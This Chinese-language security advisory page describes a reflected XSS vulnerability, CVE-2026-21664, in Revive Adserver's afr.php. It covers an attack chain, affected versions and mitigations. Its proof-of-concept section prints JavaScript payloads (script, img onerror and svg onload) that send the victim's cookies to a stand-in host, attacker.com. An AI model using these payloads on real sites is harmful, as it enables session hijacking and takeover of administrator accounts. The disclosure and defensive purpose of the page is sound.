IPBUF安全漏洞报告
English
CVE-2026-21664 CVSS 6.1 中危

CVE-2026-21664 Revive Adserver afr.php 反射型XSS漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-21664
漏洞类型
反射型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Revive Adserver

相关标签

CVE-2026-21664反射型XSSRevive Adserver跨站脚本会话劫持HackerOneafr.php中危漏洞

漏洞概述

CVE-2026-21664是Revive Adserver(开源广告服务器)中的一个反射型跨站脚本(XSS)漏洞。该漏洞存在于afr.php delivery script中,由安全研究人员Huynh Pham Thanh Luc(nigh7c0r3)通过HackerOne平台报告。攻击者可以通过构造包含恶意HTML/JavaScript payload的特殊URL来利用此漏洞。当已登录的管理员或用户访问攻击者精心设计的链接时,嵌入的恶意脚本代码将被浏览器解析执行,可能导致会话劫持、敏感信息窃取或对用户浏览器进行进一步攻击。由于该漏洞需要用户交互(如点击链接),因此攻击复杂度较低,但潜在危害严重,建议尽快更新到安全版本。

技术细节

该反射型XSS漏洞位于Revive Adserver的afr.php文件中的参数处理逻辑。攻击者利用该脚本对用户输入参数缺乏充分的输入验证和输出编码,直接将用户可控的参数值反射回HTML响应中。攻击者可以在URL参数中注入任意HTML标签或JavaScript代码,如<script>alert(document.cookie)</script>。当受害者(特别是已登录的管理员)访问包含恶意payload的URL时,浏览器会将响应中的恶意代码作为合法脚本执行。由于Revive Adserver的管理员具有较高权限,成功利用此漏洞可获取管理员会话令牌,进而完全控制广告服务器。漏洞的根本原因是缺少对用户输入的HTML实体编码和Content-Security-Policy头的缺失。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站运行的Revive Adserver版本,确认afr.php脚本存在且对参数缺乏过滤
STEP 2
步骤2
攻击者构造包含XSS payload的恶意URL,例如在参数中注入<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程或恶意网站诱导已登录的管理员或用户点击该恶意链接
STEP 4
步骤4
受害者浏览器请求恶意URL,服务器将未经过滤的用户输入反射回HTTP响应中
STEP 5
步骤5
浏览器将响应解析为HTML,遇到<script>标签时执行其中的JavaScript代码
STEP 6
步骤6
恶意脚本窃取受害者的会话Cookie或其他敏感信息,并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的会话令牌劫持管理员账户,完全控制Revive Adserver系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-21664 Reflected XSS PoC for Revive Adserver afr.php // Target: Revive Adserver afr.php delivery script // Payload: Reflected XSS via URL parameter const http = require('http'); // XSS payload - steals admin cookies const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Construct malicious URL const targetHost = 'vulnerable-server.com'; const targetPath = '/afr.php'; const maliciousUrl = `http://${targetHost}${targetPath}?what=${encodeURIComponent(xssPayload)}`; console.log('[+] CVE-2026-21664 Reflected XSS PoC'); console.log('[+] Target:', targetHost); console.log('[+] Malicious URL:', maliciousUrl); console.log('[+] Payload:', xssPayload); // Alternative payload variants const payloads = [ xssPayload, '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>' ]; console.log('\n[+] Alternative payloads:'); payloads.forEach((p, i) => console.log(` ${i+1}. ${p}`)); // Attack scenario: // 1. Attacker crafts URL with XSS payload // 2. Attacker tricks logged-in admin to click the link // 3. Malicious script executes in admin's browser // 4. Attacker steals session cookies // 5. Attacker hijacks admin session

影响范围

Revive Adserver < 5.1.1
Revive Adserver < 5.0.7
Revive Adserver < 4.2.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置URL参数过滤规则,拒绝包含<script>、<img>、<svg>等危险标签的请求;2) 为afr.php添加输入验证中间件,对所有参数进行HTML编码;3) 启用X-XSS-Protection响应头并配置阻止模式;4) 限制管理员访问管理后台的IP范围;5) 提醒管理员不要点击未知来源的链接,尤其是包含URL参数的链接;6) 监控日志中的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表